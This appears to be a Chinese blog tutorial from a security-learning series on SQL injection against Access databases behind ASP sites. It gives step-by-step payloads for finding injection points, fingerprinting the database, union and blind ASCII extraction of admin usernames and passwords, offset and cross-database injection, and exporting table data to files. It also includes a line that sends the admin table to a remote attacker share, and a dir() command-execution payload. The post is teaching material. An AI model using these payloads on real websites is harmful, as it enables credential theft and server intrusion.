网络安全学习--008--SQL注入之Access数据库注入详解
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
Access注入漏洞详解
一:注入漏洞分析
站库分类:
1.网站分类:
静态网页:
- 不依赖数据库
- 灵活性差,制作、更新、维护麻烦
- 交互性较差,在功能方面有较大的限制
- 安全,不存在SQL注入漏洞
动态网页:
asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页。
依赖数据库
- 灵活性好,维护简便
- 交互性好,功能强大
- 存在安全风险,可能存在SQL注入漏洞
- 注:还有一种网站是伪静态的,这些网站看着是html,实际还是动态的,可以通过构造注入进行sql注入攻击
2.常见的数据库:
- Access数据库
- Mssql数据库
- Mysql、oracle、postgresql Db2等
3.网站访问模型:
4.漏洞成因:
数据与代码未严格分离;用户提交的参数数据未做充分检查过滤即被代入到SQL命令中,改变了原有SQL命令的“语义”,且成功被数据库执行。
5.常见的注入流程:
6.SQL注入的危害:
SQL注入的定义:
- 很多应用程序都使用数据库来存储信息。SQL命令就是前端应用程序和后端数据库之间的接口。攻击者可利用应用程序根据提交的数据动态生成SQL命令的特性,在URL、表单域,或者其他的输入域中输入自己的SQL命令,改变SQL命令的操作,将被修改的SQL命令注入到后端数据库引擎执行。
SQL注入的危害:
这些危害包括但不局限于:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
- 一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。
二:Access数据库注入详解
1.Access数据库介绍:
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一
Access数据库的优势:
- 提高速度和减少代码量
- 你可以用几种技巧来提高你的编码速度,但是却找不到有效的算法的替代者。接下来的这几点建议可以提高你的编码速度同时又减少你的应用程序消耗的存储空间。
- 用整形数进行数学运算
- 即使Microsoft Access
会使用一个联合处理器来处理浮点型算术,整型数算术也总是要快一些。当你的计算不含有小数,尽量使用整型或长整型而不是变量或双整型。整型除法同样也要比浮点除法要快。在使用其他一些有效的数据类型时会警告:没有任何东西可以替换有效的运算法则。 - 避免使用过程调用
- 避免在循环体中使用子程序或函数调用。每一次调用都因额外的工作和时间而给编码增大了负担。每一次调用都要求把函数的局部变量和参数压栈,而栈的大小是固定的,不能随便加大,并且同时还要于Microsoft Access共享。
Access数据库的缺陷:
- 数据库过大时,一般ACCESS数据库达到100M左右的时候性能就会开始下降!(例如:访问人数过多时容易造成IIS假死,过多消耗服务器资源等等)
- 容易出现各种因数据库刷写频率过快而引起的数据库问题。
- ACCESS数据库安全性比不上其他类型的数据库。
- ACCESS论坛大了以后就很容易出现数据库方面的问题,当论坛数据库在50M以上,帖子5万左右,在线也在100人左右的时候,你的论坛基本上都在处理数据库上花时间,这个时候很可能就会出现数据库慢的情况。
2.asp链接access数据库代码
代码如下(示例):
Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;"
dim conn
set conn = server.createobject("adodb.connection")
conn.open "provider=Microsoft.ACE.OLEDB.12.0;" & "data source = " & server.mappath("bbs.mdb")
3.数据库文件打开工具:
- 数据库后缀(access数据库是一个文件)
- *.mdb
- 常用打开工具
- 辅臣数据库浏览器
- 破障浏览器
4.Access数据库注入原理:
判断注入点(将这些字符放到注入点后面观察页面变化,来判断是否带入了数据库进行查询)
- And 1=1
- And 1=2
- /
- 0
- .0
- .1
判断数据库注入
判断数据库类型
- and exists (select * from msysobjects)>0 如果页面正常返回,则表明数据库类型位Access
- and exists (select * from sysobjects)>0 如果页面正常返回,则表明数据库类型位sqlserver
判断数据库表
- and exists (select * from admin)
判断数据库列名
- and exists (select admin from admin)
判断字段长度
- order by 20
判断
- and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin
- 这里采用联合查询报显位
数据库联合查询
- and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin
判断账户密码的长度
- and (select len(admin) from admin)=5 如果返回正常说明管理员账户的长度为5
- and (select len(password) from admin)=5 猜解管理密码长度是否为5
下面是我针对以上语句做的实验,有些实验内容可能由于宝塔面板有select字符过滤机制,无法绕过,所以贴一些学习时的视频截图:
猜解管理员账号的第一个数据
通过判断ascii码来判断
- and (select top 1 asc(mid(admin,1,1)) from admin)>100
返回正常说明大于,不正常说明不大于 - and (select top 1 asc(mid(admin,1,1)) from admin)>50 返回正常说明大于
- and (select top 1 asc(mid(admin,1,1)) from admin)=97 返回正常说明等于97
97对应的字母为a - 以此类推
- 判断管理员账户的第二数据
- and (select top 1 asc(mid(admin,2,1)) from admin)>100
返回正常说明大于,不正常说明不大于 第三个 - and (select top 1 asc(mid(admin,3,1)) from admin)>100
返回正常说明大于,不正常说明不大于 判断管理员密码的第一个数据 - and (select top 1 asc(mid(password,1,1)) from admin)>100
返回正常说明大于,不正常说明不大于
5.常见注入工具:
这里推荐使用Sqlmap,当然穿山甲,超级SQL注入工具也是非常好的。
6.Access数据库高级玩法
偏移注入:
偏移注入的产生主要是用来解决表名猜到,列名猜不到的情况
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
*
用来从最后一个字段数22向前逐个删除来代替,直到显示正常为止,*
代表了所有admin表*的字段http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from
adminhttp://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from
adminhttp://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from
admin
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from adminhttp://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
得出字段为6
得出字段后采用下面的计算公式,进一步注入
22-16=6
10+6*2=22
4+6*3=22
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner
join admin as b on a.id=b.id)union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join
admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
跨库查询:条件:同服务器下的站点有注入,知道对方站的数据库绝对路径,知道对方数据库表,表中的字段名可以用这个方法来跨库查询. 绝对路径:D:/wwwroot/…*.mdb .asa .asp)
例如
a是目标站点 b是存在注入的站点 a,b是同服务器的站点
admin为数据库中的表
user为数据库中admin表的段
password为数据库中admin表的段.http://xxx.com/news/type.asp?type?id=1 and 1=2 union select
1,2,user,4,5,6 from [D:\wwwroot\1\Databases\xycms.mdb].adminhttp://127.0.0.1:81/0/Production/PRODUCT_DETAIL.asp?id=1451 union
select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22
from [D:\wwwroot\1\Databases\xycms.mdb].adminhttp://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=-1513%20UNION%20SELECT%201,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin_user%20in%20’C:\Users\Seven\Desktop\webpentest\1\xydata\xycms.mdb’
利用Access写入文件:利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法:
SELECT * into [test.txt] in ’d:\web\’ ’text;’ from admin
执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。
其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。
这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。
可以导出到自己机器:SELECT * into [test.txt] in ’\yourip\share’ ’text;’ from admin
利用ACCESS注入执行系统命令
- 首先有必要介绍一下沙盒模式
- 为了安全起见,MS在Jet引擎的Sp8中,设置了一个名为SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默认是2.微软关于这个键
- 值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,
- 2则是必须是Access的模式下,3则是完全开启,连Access中也不支持.
- Access也能执行系统命令,有个前提条件就是沙盒模式要是关闭的。如:
http://access.sql.com/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,
dir('c:\ '),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
网络安全学习--008--SQL注入之Access数据库注入详解相关推荐
- WEB渗透SQL注入【3】[access数据库注入](2)
SQL注入的分类很多,不同的人也会将注入分成不同的种类,下面笔者将介绍一下常见的分类. 注意:此文章中标点符号在页面中显示可能会转成中文的,自己测试时候语句中的标点一律使用英文输入法状态下的. 1.判 ...
- Access数据库注入
目录 Access数据库 Access数据库中的函数 盲注Access数据库 Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数 ...
- SQL SERVER访问Access数据库,出现错误:无法初始化链接服务器 (null) 的 OLE DB 访问接口 Microsoft.Jet.OLEDB.4.0 的数据源对象
SQL SERVER访问Access数据库,出现错误: 无法初始化链接服务器 "(null)" 的 OLE DB 访问接口 "Microsoft.Jet.OLEDB.4. ...
- SQL SERVER访问Access数据库,出现错误:无法初始化链接服务器 (null) 的 OLE DB 访问接口 Microsoft.Jet.OLEDB.4.0 的数据源对象...
SQL SERVER访问Access数据库,出现错误: 无法初始化链接服务器 "(null)" 的 OLE DB 访问接口 "Microsoft.Jet.OLEDB.4. ...
- mysql dba系统学习-数据库事务详解
mysql dba系统学习-数据库事务详解 上个星期去面试数据库管理员的工作,笔试通过之后就是直接的面试,他问了我一个问题,叫我介绍哈数据库的事务的看法和理解,但是不知所错的没有章法的乱答一气,唉唉, ...
- NCBI SRA数据库使用详解----学习笔记
NCBI SRA数据库使用详解----学习笔记 wxw060709 2019-12-25 15:58:47 1014 收藏 2 分类专栏: 生物信息学 版权 SRA(Sequence ReadAr ...
- python接入excel_使用python将excel数据导入数据库过程详解
因为需要对数据处理,将excel数据导入到数据库,记录一下过程. 使用到的库:xlrd 和 pymysql (如果需要写到excel可以使用xlwt) 直接丢代码,使用python3,注释比较清楚. ...
- MybatisPlus学习(四)条件构造器Wrapper方法详解
https://www.cnblogs.com/xianz666/p/13857733.html MybatisPlus学习(四)条件构造器Wrapper方法详解 文章目录 1.条件构造器 2.Que ...
- SQL Server 默认跟踪 -- 捕获事件详解
SQL Server 默认跟踪 -- 捕获事件详解 哪些具体事件默认跟踪文件能够捕获到? --returns full list of events SELECT * FROM sys.trace_e ...
最新文章
- 模型神器组合,yyds!
- python的基本语句_Python的基本语句
- Ubuntu安装PostgreSQl
- 成功解决运行tensorflow时ModuleNotFoundError: No module named ‘numpy.core._multiarray_umath‘
- [python爬虫] 招聘信息定时系统 (二).调用pyinstaller包生成exe文件
- Maven精选系列--依赖范围、传递、排除
- android sdk64位资源,android SDK 有32位或64位的分别吗
- 计算机应用基础99页,计算机应用基础复习(65页)-原创力文档
- smali-2.2.4.jar baksmali-2.2.4.jar
- oraclejobs_Oracle Scheduler Jobs
- asp.net 为FCKeditor开发代码高亮插件实现代码
- android re浏览器下载,RE文件浏览器
- 实战Nagios网络监控(2)—— Nagios+Nrpe监控其他主机
- dcos - marathon - 有的时候健康检查不是绿条
- 台式计算机怎么强制关机,电脑怎么强制关机(关机方法都在这)
- 安卓逆向——AS开发Xposed插件demo案例
- ELK 部署手册(docker版本)
- linux非root用户如何将自己安装的python添加到环境变量
- 7款相见恨晚的资源网站,每个都百里挑一,送给正需要的你!
- sublime text3 配置python、ruby、c/c++(c/c++不推荐这个方法)
热门文章
- “珞珈三号01星”首个卫星影像三维模型!——重建大师最新成果
- python+selenium爬虫自动化批量下载文件
- 解决百度云限速以及网页上无法下载大文件的问题
- java制作烟花源码_java源码解读-java烟花代码!
- C语言中数组的七十二变
- asp.net+sqlserver固定资产管理系统系统c#项目
- 淘宝客网站架构设计方案
- 服务器系统怎么重置path,DediPath独立服务器重置IPMI教程
- php 绘制图像如何设置字体,PHP 用 PostScript Type1 字体把文本字符串画在图像上
- 在基于ABP框架的前端项目VueElement项目中采用电子签章处理文件和打印处理